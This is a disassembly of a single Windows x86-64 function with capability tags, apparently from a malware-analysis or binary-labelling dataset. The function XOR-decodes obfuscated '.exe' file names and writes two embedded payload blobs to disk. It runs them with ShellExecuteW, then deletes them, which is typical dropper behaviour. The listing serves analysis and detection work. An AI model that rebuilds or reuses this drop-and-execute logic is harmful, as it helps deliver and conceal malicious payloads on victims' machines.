Function at 0x14001fac0
Capabilities:
Create process on windows
Delete file
Encode data using xor
Write and execute a file
Write file on windows

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x10]
sub rsp, 0x110
mov rax, qword [0x1400d8b80]
xor rax, rsp
mov qword [rbp + 8], rax
mov ecx, reloc.WLDAP32.dll_Ordinal_46
xor edx, edx
call fcn.1400194d0
movzx edi, ax
mov word [rsp + 0x40], ax
mov ecx, reloc.WS2_32.dll_WSAStartup
lea edx, [rcx - 0x72]
call fcn.1400194d0
mov word [rsp + 0x42], ax
mov ecx, 0x79
lea edx, [rcx - 0x77]
call fcn.1400194d0
mov word [rsp + 0x44], ax
mov ecx, reloc.WS2_32.dll_WSAStartup
lea edx, [rcx - 0x70]
call fcn.1400194d0
mov word [rsp + 0x46], ax
xor ecx, ecx
lea edx, [rcx + 4]
call fcn.1400194d0
movzx esi, ax
mov word [rsp + 0x48], ax
mov edx, 5
movzx ecx, word [0x14007820a]
call fcn.1400194d0
mov word [rsp + 0x4a], ax
mov edx, 6
movzx ecx, word [0x14007820c]
call fcn.1400194d0
mov word [rsp + 0x4c], ax
mov edx, 7
movzx ecx, word [0x14007820e]
call fcn.1400194d0
mov word [rsp + 0x4e], ax
mov edx, 8
movzx ecx, word [str..exe]
call fcn.1400194d0
mov word [rsp + 0x50], ax
xor eax, eax
mov word [rsp + 0x52], ax
xor r12d, r12d
mov edx, r12d
mov r13d, 0x133
nop dword [rax]
movsxd rax, edx
lea rcx, [rsp + 0x40]
lea rcx, [rcx + rax*2]
lea eax, [rdx + r13]
xor word [rcx], ax
inc edx
cmp edx, 9
jb 0x14001fbc0
mov word [rsp + 0x52], r12w
xorps xmm0, xmm0
movups xmmword [rbp - 0x18], xmm0
mov qword [rbp - 8], r12
mov qword [rbp], r12
lea rax, [rsp + 0x40]
mov rbx, 0xffffffffffffffff
mov r8, rbx
nop
inc r8
cmp word [rax + r8*2], r12w
jne 0x14001fc00
lea rdx, [rsp + 0x40]
lea rcx, [rbp - 0x18]
call fcn.140019c80
lea rdx, [rbp - 0x18]
lea rcx, [rbp - 0x38]
call fcn.140021700
nop
mov word [rsp + 0x40], di
mov ecx, 0x65
lea edx, [rcx - 0x64]
call fcn.1400194d0
mov word [rsp + 0x42], ax
mov ecx, 0x78
lea edx, [rcx - 0x76]
call fcn.1400194d0
mov word [rsp + 0x44], ax
mov ecx, 0x65
lea edx, [rcx - 0x62]
call fcn.1400194d0
mov word [rsp + 0x46], ax
mov word [rsp + 0x48], si
mov edx, 5
movzx ecx, word [0x14007821a]
call fcn.1400194d0
mov word [rsp + 0x4a], ax
mov edx, 6
movzx ecx, word [0x14007821c]
call fcn.1400194d0
mov word [rsp + 0x4c], ax
mov edx, 7
movzx ecx, word [0x14007821e]
call fcn.1400194d0
mov word [rsp + 0x4e], ax
mov edx, 8
movzx ecx, word [reloc.WLDAP32.dll_Ordinal_45]
call fcn.1400194d0
mov word [rsp + 0x50], ax
xor eax, eax
mov word [rsp + 0x52], ax
mov edx, r12d
nop dword [rax + rax]
movsxd rax, edx
lea rcx, [rsp + 0x40]
lea rcx, [rcx + rax*2]
lea eax, [rdx + r13]
xor word [rcx], ax
inc edx
cmp edx, 9
jb 0x14001fcd0
mov word [rsp + 0x52], r12w
xorps xmm0, xmm0
movups xmmword [rsp + 0x60], xmm0
mov qword [rsp + 0x70], r12
mov qword [rsp + 0x78], r12
lea rax, [rsp + 0x40]
nop word [rax + rax]
inc rbx
cmp word [rax + rbx*2], 0
jne 0x14001fd10
mov r8, rbx
lea rdx, [rsp + 0x40]
lea rcx, [rsp + 0x60]
call fcn.140019c80
lea rdx, [rsp + 0x60]
lea rcx, [rbp - 0x58]
call fcn.140021700
nop
mov ecx, reloc.WLDAP32.dll_Ordinal_45
xor edx, edx
call fcn.1400194d0
mov word [rsp + 0x40], ax
mov ecx, WSASetLastError
lea edx, [rcx - 0x6c]
call fcn.1400194d0
mov word [rsp + 0x42], ax
mov ecx, 0x61
lea edx, [rcx - 0x5f]
call fcn.1400194d0
mov word [rsp + 0x44], ax
mov ecx, reloc.WS2_32.dll_WSASetLastError
lea edx, [rcx - 0x6d]
call fcn.1400194d0
mov word [rsp + 0x46], ax
mov ecx, reloc.WLDAP32.dll_Ordinal_32
lea edx, [rcx - 0x1c]
call fcn.1400194d0
mov word [rsp + 0x48], ax
xor ecx, ecx
lea edx, [rcx + 5]
call fcn.1400194d0
movzx r15d, ax
mov word [rsp + 0x4a], ax
mov edx, 6
movzx ecx, word [0x14007822c]
call fcn.1400194d0
mov word [rsp + 0x4c], ax
mov edx, 7
movzx ecx, word [0x14007822e]
call fcn.1400194d0
mov word [rsp + 0x4e], ax
mov edx, 8
movzx ecx, word [0x140078230]
call fcn.1400194d0
mov word [rsp + 0x50], ax
mov edx, 9
movzx ecx, word [reloc.WS2_32.dll_WSACleanup]
call fcn.1400194d0
mov word [rsp + 0x52], ax
mov edx, 0xa
movzx ecx, word [0x140078234]
call fcn.1400194d0
mov word [rsp + 0x54], ax
xor eax, eax
mov word [rsp + 0x56], ax
mov edx, r12d
nop
movsxd rax, edx
lea rcx, [rsp + 0x40]
lea rcx, [rcx + rax*2]
lea eax, [rdx + r13]
xor word [rcx], ax
inc edx
cmp edx, 0xb
jb 0x14001fe20
mov word [rsp + 0x56], r12w
lea r8, [rbp - 0x38]
lea rdx, [rsp + 0x40]
lea rcx, [rbp - 0x18]
call fcn.14001b580
nop
lea rcx, [rbp - 0x38]
cmp qword [rbp - 0x20], 7
cmova rcx, qword [rbp - 0x38]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
lea rcx, [rbp - 0x58]
cmp qword [rbp - 0x40], 7
cmova rcx, qword [rbp - 0x58]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rdx, [rbp - 0x38]
lea rcx, [rsp + 0x60]
call fcn.140019ed0
mov rbx, rax
mov dword [rbp - 0x60], r12d
mov rcx, rax
cmp qword [rax + 0x18], 7
jbe 0x14001fea8
mov rcx, qword [rax]
mov qword [rsp + 0x30], r12
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 1
xor r9d, r9d
xor r8d, r8d
mov edx, 0x10000000
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x50
je 0x14001ff0a
cmp rdi, 0xffffffffffffffff
je 0x14001ff0a
mov qword [rsp + 0x20], r12
lea r9, [rbp - 0x60]
mov r8d, 0x2400
lea rdx, [0x140095450]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rbx
call fcn.14000a590
lea rdx, [rbp - 0x58]
lea rcx, [rsp + 0x60]
call fcn.140019ed0
mov rbx, rax
mov dword [rbp - 0x60], r12d
mov rcx, rax
cmp qword [rax + 0x18], 7
jbe 0x14001ff34
mov rcx, qword [rax]
mov qword [rsp + 0x30], r12
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 1
xor r9d, r9d
xor r8d, r8d
mov edx, 0x10000000
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x50
je 0x14001ff96
cmp rdi, 0xffffffffffffffff
je 0x14001ff96
mov qword [rsp + 0x20], r12
lea r9, [rbp - 0x60]
mov r8d, 0x41200
lea rdx, [0x140097850]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rbx
call fcn.14000a590
lea rax, [rsp + 0x60]
mov qword [rsp + 0x58], rax
lea rdx, [rbp - 0x18]
lea rcx, [rsp + 0x60]
call fcn.140019ed0
mov rdi, rax
lea rdx, [rbp - 0x58]
lea rcx, [rbp - 0x80]
call fcn.140019ed0
mov rbx, rax
mov r14, rdi
cmp qword [rdi + 0x18], 7
jbe 0x14001ffd6
mov r14, qword [rdi]
mov rsi, rbx
cmp qword [rax + 0x18], 7
jbe 0x14001ffe3
mov rsi, qword [rax]
mov ecx, WSAStartup
xor edx, edx
call fcn.1400194d0
mov word [rsp + 0x40], ax
mov ecx, 0x75
lea edx, [rcx - 0x74]
call fcn.1400194d0
mov word [rsp + 0x42], ax
mov ecx, WSASetLastError
lea edx, [rcx - 0x6c]
call fcn.1400194d0
mov word [rsp + 0x44], ax
mov ecx, 0x61
lea edx, [rcx - 0x5e]
call fcn.1400194d0
mov word [rsp + 0x46], ax
mov ecx, reloc.WS2_32.dll_WSAStartup
lea edx, [rcx - 0x6f]
call fcn.1400194d0
mov word [rsp + 0x48], ax
mov word [rsp + 0x4a], r15w
mov edx, 6
movzx ecx, word [0x1400781fc]
call fcn.1400194d0
mov word [rsp + 0x4c], ax
mov edx, 7
movzx ecx, word [0x1400781fe]
call fcn.1400194d0
mov word [rsp + 0x4e], ax
mov edx, 8
movzx ecx, word [reloc.WLDAP32.dll_Ordinal_46]
call fcn.1400194d0
mov word [rsp + 0x50], ax
mov edx, 9
movzx ecx, word [reloc.WS2_32.dll_WSAStartup]
call fcn.1400194d0
mov word [rsp + 0x52], ax
mov edx, 0xa
movzx ecx, word [0x140078204]
call fcn.1400194d0
mov word [rsp + 0x54], ax
xor eax, eax
mov word [rsp + 0x56], ax
mov edx, r12d
nop word [rax + rax]
movsxd rax, edx
lea rcx, [rsp + 0x40]
lea rcx, [rcx + rax*2]
lea eax, [rdx + r13]
xor word [rcx], ax
inc edx
cmp edx, 0xb
jb 0x1400200c0
mov word [rsp + 0x56], r12w
mov dword [rsp + 0x28], r12d
mov qword [rsp + 0x20], r12
mov r9, r14
mov r8, rsi
lea rdx, [rsp + 0x40]
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteW]
mov rcx, rbx
call fcn.14000a590
mov rcx, rdi
call fcn.14000a590
mov ecx, 0x1770
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [rbp - 0x38]
cmp qword [rbp - 0x20], 7
cmova rcx, qword [rbp - 0x38]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
lea rcx, [rbp - 0x58]
cmp qword [rbp - 0x40], 7
cmova rcx, qword [rbp - 0x58]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
nop
mov rdx, qword [rbp]
cmp rdx, 7
jbe 0x140020185
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x18]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14002017f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14002017f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140073cd0
nop
mov rdx, qword [rbp - 0x40]
cmp rdx, 7
jbe 0x1400201c8
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x58]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400201c3
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400201c3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140073cd0
movdqa xmm0, xmmword [0x140079620]
movdqu xmmword [rbp - 0x48], xmm0
mov word [rbp - 0x58], r12w
mov rdx, qword [rbp - 0x20]
cmp rdx, 7
jbe 0x14002021d
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x38]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140020218
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140020218
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140073cd0
mov rcx, qword [rbp + 8]
xor rcx, rsp
call fcn.140073df0
lea r11, [rsp + 0x110]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret